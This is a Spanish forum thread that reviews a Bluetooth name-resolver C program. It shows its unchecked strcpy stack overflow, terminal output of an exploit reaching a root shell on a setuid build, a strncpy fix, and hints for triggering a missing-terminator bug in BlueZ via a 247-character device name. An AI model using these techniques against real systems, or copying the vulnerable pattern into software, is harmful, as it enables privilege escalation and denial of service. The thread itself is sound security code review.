Gospel... bonito taller vas acer lo seguire... peor antes una cosa XDD
ANELKAOS Y YO hemos estado echando un vistazo a tu source y no nos gusta para nada XDDD
1º.... veamos pongo el sopurce y lo analizamos:
#include <stdio.h>
#include <stdlib.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
int main (int argc, char **argv)
{
bdaddr_t bdaddr;//Estructura bdaddr_t para almacenar la direccion MAC
char MAC_dev[248];//Direccion MAC del dispositivo
char nombre_dev[248];//Nombre del dispositivo
int id_dev;//Identificador del dispositivo
int socket;//Socket HCI
if(argc < 2)
{
printf("Sintaxis: %s <direccion MAC>\n",argv[0]);
exit(1);
}
printf("+ BlueResolver por Gospel [elblogdegospel.blogspot.com]\n\n");
strcpy(MAC_dev,argv[1]);
printf("Detectando nombre del dispositivo <%s>...\n",MAC_dev);
baswap(&bdaddr, strtoba(MAC_dev));
id_dev = hci_get_route(&bdaddr);
if (id_dev < 0)
{
printf("[!] Error. Dispositivo no encontrado.\n");
exit(1);
}
socket = hci_open_dev(id_dev);
if (socket < 0)
{
printf("[!] Error. Fallo al intentar abrir HCI.\n");
exit(1);
}
int timeout = 10000;
if (hci_read_remote_name(socket,&bdaddr,sizeof(nombre_dev), nombre_dev, timeout) == 0)
{
printf("Dispositivo encontrado:\n\tMAC: %s\n\tNombre: %s\n",MAC_dev,nombre_dev);
}
else
{
printf("[!] Error. No se ha podido obtener el nombre del dispositivo Bluetooth.\n");
}
close(socket);
return(0);
}
Citar
char MAC_dev[248];//Direccion MAC del dispositivo
Yo esto lo ubiera declarado como puntero, asi prebeemos un stack overflow y si tienes el fallo pues kedaria en un heap overflow
y luego esto ya si q si XD:
Citar
strcpy(MAC_dev,argv[1]);
asi a capon? reservas 248 bytes peor si meten 83476593847659324 ale pa dentro pa la pila no? y na menos en un programa que rekiere privilegios de root XD.
yo lo que aria primero seria declarar ese array como punteo y luego antes de hacer el:
strcpy hacer una comprobacion de los bytes que ocupa argv[1] y si supera los q tu kieres saltar un error y esas cosas...
Sigue con el taller que me interesa ;D
Aisss.... estos blackhat siempre buscandole esa vuelta de tuerca q le falta... el mamón del Anelkaos q me manda un sms para felicitarme el cumpleaños y de regalo me dice q mi programa tiene un buffer overflow! Jajaaajaja...
Gracias por el advisory chavales! Yo no estoy muy puesto en eso de los buffer overflows y el código tiene esa pinta tan infantil por dos motivos:
- Me basé en el redfang para sacar la parte del código q implementa esta función de 'name resolver'. El redfang utilizaba vectores estáticos para almacenar cadenas de caracteres, me dio pereza cambiarlo...
- El objetivo del programa es q sea un código simple y ligero, fácil de leer. No es una gran herramienta, es un ejemplo sencillo. Era más fácil entender q primero recogemos la entrada de la MAC por teclado en una variable y luego la pasamos a forma bdaddr_t q hacerlo directamente con argv[1]. En fin, tampoco creo q pueda ser utilizado maliciosamente para lanzar un bof en un sistema linux...
Aún así, en cuanto llegue a casa esta tarde modifico el código y lo hacemos más seguro, ok?
Hala, gracias por el advisory!! En sucesivas entregas, quedáis contratados como consultores de seguridad del Taller!
Salu2
Ok, ya está modificado. Ya de paso he comentado un poco más el código para mejor comprensión. :)
No hace falta q le deis más vueltas a la tuerca pq si me meto en comprobaciones de tamaños de cadenas y demás, el código se complica innecesariamente. El objetivo no es construir una super herramienta comercial q no puede tener un sólo agujero de seguridad, sino simplemente un código sencillo q permita comprender cómo funciona la programación en Bluez... o acaso vosotros vigilais q las prácticas q entregais en la Uni no sean vulnerables a un BoF??
Hala... lo dicho... Si en adelante publico un código con un grave problema de seguridad pues me lo comentaís y lo securizo. Si es un fallo leve, pues no hace falta... lo primero es la claridad en el código!
Ciao y gracias de nuevo ;)
Si yo te entiendo gospel pero debemos de dar buen ejemplo programando aplicaciones funcionales y seguras :P de todos modos era una chorrada de b0f pero weno. Que sepas q apartir de ahora voy analizar todos tus sources :P mas q na xq asi aprendemos cosas los 2 XDDD
;D
mmmm
char *MAC_dev = argv[1];//Direccion MAC del dispositivo
yo creo q no e sla forma mas correcta... ya q estas dejando q el usuario meta lo q kiera pero en la memoria dinamica, has solucionao un stack overflow pero as creado un heap overflow XDDD
siento decirtelo pero creo q como lo tenias al pricipio valia pero antes de copiar el contenido del 1º argumento comprobay los bytes que ocupa :P y declarando char *MAC_dev asi como puntero. Si en la memoria dinamica ubiera mas variables se podria sobreescribir su contenido y cuando el programa fuera a llamarla ejecutar tu codigo ;P
Creo que la mejor idea seria dejar
char MAC_dev[248];//Direccion MAC del dispositivo
y para el strcpy podemos usar un strncpy por ejemplo.
Ahi dejo un link a un texto que apesta xD: http://foro.elhacker.net/index.php/topic,95901.0.html
No seria interesante hacer un exploit para este programa ¿?
xDDDDDDD
Si me hago un tiempo libre ;)
xDDD
Eh que a mi si me gustó, solo que leí las declaraciones y dije...no puede ser.... jajaja xD Me hizo gracia y se lo comenté a DEREK_X xD Pero vamos...tampoco es pra darle mayor importancia... :P
1Saludo
Ya pense en hacer el explot pero es absurdo es un programa q tienes q ejecutarlo como root... q vas hacer un shellcode q se ejecute como root? : XD no merece la pena ;D
La idea era por hacer algo anecdotico, es decir, habriamos explotado a Gospel ;)
Ok, tomo nota gente...
La verdad es q no habia caído en el strncpy para copiar un determinado numero de caracteres... bien pensado!!
En cuanto tenga tiempo hago la modificación...
Gracias!
OK wey realmente no te entiendo, como asi que los programas que pasas a tu univ tienen overflows ? O uno se acostumbra a programar bien, o no, no hay que a veces tengo overflows y a veces no..........mira que lindo tu programa como lo exploto rapido.
daniel@debian:~/exploits/vuln-dev$ gcc gospel.c
daniel@debian:~/exploits/vuln-dev$ sudo chmod +s a.out
daniel@debian:~/exploits/vuln-dev$ head gospel.c
#include <stdio.h>
#include <stdlib.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
int main (int argc, char **argv)
{
bdaddr_t bdaddr;//Estructura bdaddr_t para almacenar la direccion MAC
char MAC_dev[248];//Direccion MAC del dispositivo
daniel@debian:~/exploits/vuln-dev$ ./gospexp.py ./a.out 248
Shellcode place at 0xBFFFFFC5L
+ BlueResolver por Gospel [elblogdegospel.blogspot.com]
Detectando nombre del dispositivo <Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿>...
Dispositivo encontrado:
MAC: Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿Åÿÿ¿
Nombre:
[!] Error. No se ha podido obtener el nombre del dispositivo Bluetooth.
sh-3.00$ id
uid=0(root) gid=0(root) groups=0(root)
Un sencillo stack overflow.
Ahora para aclarar varias cosas.
Citarchar *MAC_dev = argv[1];//Direccion MAC del dispositivo
yo creo q no e sla forma mas correcta... ya q estas dejando q el usuario meta lo q kiera pero en la memoria dinamica, has solucionao un stack overflow pero as creado un heap overflow XDDD
Eso no es ningun overflow, hay realmente el puntero esta en el stack, y no tiene ninguna memoria allocada, lo unico que estas haciendo es que apunte a argv[1] pero realmente solo estas copiando el puntero no la data.
Citary para el strcpy podemos usar un strncpy por ejemplo.
SI strncpy es realmente util en situaciones como esta, pero tienen que tener cuidado, como sabemos que es muy facil overflowdear el buffer el uso correcto es.
strncpy(MAC_dev,argv[1], sizeof(MAC_dev) - 1);
MAC_dev[sizeof(MAC_dev) - 1] = '\0';
Ahi evitas cualquier cosa, igual mi pregunta es pork el buffer es tan grande ? hay MAC addresses tan grandes ?.
De resto esta bien :)
Gracias heap por la demo de overflow... de ahora en adelante intentaré programar de forma más segura y copiar los argumentos con strncpy :)
El tamaño de MAC_dev está a 248 porque lo dejé así del código original del red fang. En la nueva modificación del programa 1 del Taller, dejé el vector con un tamaño de 20 posiciones, suficientes.
El nombre del dispositivo ya sí q puede ser de 248 caracteres, aunq normalmente no superan los 20 caracteres. Por cierto... sería posible explotar un buffer overflow a través del nombre del dispositivo Bluetooth remoto (en la función hci_read_remote_name) y colocar una shellcode para ejecutar código arbitrario en el Linux atacante? Hala... ahi dejo un reto similar al del bug Nokia Symbian 60 "Bluetooth Nickname" Remote Restart @ http://foro.elhacker.net/index.php/topic,87828.0.html
Salu2
Si claro que es posible, pero yo no tengo ningun dispositivo bluetooth :( ahora si alguien me pone 1 en un server de pruebas le doy el exploit, a el no mas claro :).
Hola,
El problema de generar un Stack OverFlow, es que lo tienes que controlar a nivel de codigo maquina. No puedes pretender que salte donde tu quieras y menos en el tema de un dispositivo que no tiene el tema abierto a programacion de terceros.
Me explico poniendo un ejemplo:
Con el tema de Nokia en Symbian. Esto es sencillo tan solo hay que manipular un fichero de configuracion de Symbian.
Vale, pero en el atacado como controlas ese Buffer overflow. Tendrias que controlar el modelo, version del Symbian o tener algo metido para ejecutarlo.
Esto es muy complicado...
Saludos,
Sir Graham.
Sa
Yo no hablo de ejecutar código arbitrario en el móvil sino en Linux.
El contexto es el siguiente: Un atacante q utilice mi programa y detecte un teléfono móvil con un nombre Bluetooth compuesto por un string capaz de causar un overflow en el buffer de la función hci_read_remote_name y q además contenga una shellcode pueda ejecutar código arbitrario en Linux por desboradmiento de pila. Es lo mismo q ha hecho heap, solo q él desbordó por teclado el buffer de la función strcpy y yo quiero saber si se puede desbordar el buffer de la función hci_read_remote_name obteniendo el string no por teclado, sino remotamente del dispositivo.
Lo de ejecutar código arbitrario en Symbian claro q es jodido, pq no hay tanta documentación sobre el funcionamiento de la pila y demás. Hoy por hoy sería más fácil en pocket pc...
Salu2
Bueno no queria tratar esto en un foro publico pero va no hay de otra.....
int hci_read_remote_name_with_clock_offset(int dd, const bdaddr_t *bdaddr, uint8_t pscan_rep_mode, uint16_t clkoffset, int len, char *name, int to)
{
evt_remote_name_req_complete rn;
remote_name_req_cp cp;
struct hci_request rq;
memset(&cp, 0, sizeof(cp));
bacpy(&cp.bdaddr, bdaddr);
cp.pscan_rep_mode = pscan_rep_mode;
cp.clock_offset = clkoffset;
memset(&rq, 0, sizeof(rq));
rq.ogf = OGF_LINK_CTL;
rq.ocf = OCF_REMOTE_NAME_REQ;
rq.cparam = &cp;
rq.clen = REMOTE_NAME_REQ_CP_SIZE;
rq.event = EVT_REMOTE_NAME_REQ_COMPLETE;
rq.rparam = &rn;
rq.rlen = EVT_REMOTE_NAME_REQ_COMPLETE_SIZE;
if (hci_send_req(dd, &rq, to) < 0)
return -1;
if (rn.status) {
errno = EIO;
return -1;
}
rn.name[247] = '\0';
strncpy(name, (char *) rn.name, len);
return 0;
}
int hci_read_remote_name(int dd, const bdaddr_t *bdaddr, int len, char *name, int to)
{
return hci_read_remote_name_with_clock_offset(dd, bdaddr, 0x02, 0x0000, len, name, to);
}
strncpy(name, (char *) rn.name, len);
Ahi esta donde se copia el name y justo antes.
rn.name[247] = '\0';
Parece bien o no ?
A veces estara bien pero dudo que los que usan bluz como lib se den cuenta de esto, len tendrian que mandarlo con 1 menosm, sino permite sobreescribir el NULL.
Pues si se puede hacer algo, aunque no estoy 100 % seguro de que se pueda correr codigo aun, lo que si se es que 100% DoS seguro, si es que corre como root.
ahora para explotarlo, asi por ser un sitio publico solo digo, hay que tener un name de justo 247 chars, el ultimo char es muy importante dado que se copiara envez del \0 y strncpy no terminara el string en \0......bueno ya dije demasiado.......afecta a cualquier programa de bluz.
Hola Gospel,
Pero ....
¿Para que quieres ejecutar un buffer overflow en linux?
Sera como un ensayo... por que si no no le veo el sentido.
Creo que lo interesante, o de lo que se trata es de cojer el control del dispositivo remoto... ¿no?
Vamos es lo que entiendo por Buffer overflow:
Tu generas el buffer overflow con lo cual el estado de la pila queda inestable y de hay usas entradas para desviar el codigo de retorno del registro IP (Index proccess). Asi cojer el control de la maquina.
Eso en el tema de Bluetooth esta doblemente Jodido. Por una parte tu puede que no desbordes al S.O del terminal, si no al Software que esta en el modulo (no os olvideis de el).
Y por otra parte no tienes forma de cojer el control de una manera compatible con todo tipo de terminales (micros, S.O, etc...)
¿Para que lo de desbordamiento del Linux? :rolleyes:
Saludos,
Sir Graham.
Supongo que es como curiosidad. Yo no le veo utilidad.
Podría darse el escenario donde alguien con un portatil te escanee tu dispositivo bluetooth de tu portatil, t entonces le metas una shellcode abriendole tal puerto para luego coger shell via TCP/IP, pero es muy rebuscado.
Como DoS si le veo utilidad.
Sería como una protección anti intrusus. Cuando te scanean devuelves el ataque con un DoS. podría mirarse.
Pero evidentemente lo ideal es explotar algun BoF en el dispositivo Bluetooth. Sé que se ha hecho, pero no tengo ni la más remota idea como hacerlo. Es uno de los temas que tenemos pendientes de investigar.
Es cuestion de mirar el fuente de los servicios de tal dispositivo y ver si hay posibilidad.
La cosa no será tan sencilla como los BoF en Windows o Linux, pero después de explotar un BoF en una SmartCard, cualquier cosa es posible.
Si alguien tiene interés nos metemos a investigar por ese lado.
Hola,
Pero el tema seria encontrarte a un portatil con linux...
ufff.. yo creo que es mas facil encontrar un terminal movil con bluebug que esa combinacion. No se no lo veo.
"Es cuestion de mirar el fuente de los servicios de tal dispositivo y ver si hay posibilidad"
Codigo fuente no hay, pero descarga del compilado para un Risk si... :)
No se. Yo siempre he visto a los BoF bastante complicados. Cualquier cambio de version puede hacer que el BoF se combierta en DoS o peor...
Saludos,
Sir Graham.
Si, con código fuente me refiero al dump, ya supongo que no estará el código por ahí.
Teniendo el dump completo, "en bruto", se puede hacer un emulador y meterle caña desbordando buffers y viendo que es lo que pasa, que como se hace en el caso de las tarjetas de Digital +. Si hay suerte puedes dar con un BoF explotable.
La opción de estudiarse el dump para ver los BoFs en codigo es algo dificilísimo, hay que tener mucha experiencia en desarrollo de micros y leer ASM como quien lee un TBO.
Si pudieramos jugar con con el dump ese metido en un Risc, seria perfecto ;)
Salu2.
Hola,
Ya... lo que pasa es que hay codigos para modulos de Bluetooth diferentes "al menos" como fabricantes de modulos .... (y ademas dentro de estos hay versiones).
Osea que casi nada...
Esto es como lo de las smartcards, hay que buscar codigos comunes de ataque sobre el standard del protocolo y eso con BoF es muy jodido.
@Unravel:
(Oye por cierto... comentando eso de las tarjetas... aunque hoy es mal dia (hay que estar con la family).... pero cuando puedas, ponte en contacto conmigo que te voy ha comentar una cosa de forma personal. Es una idea que igual que te puede interesar...)
Saludos,
Sir Graham.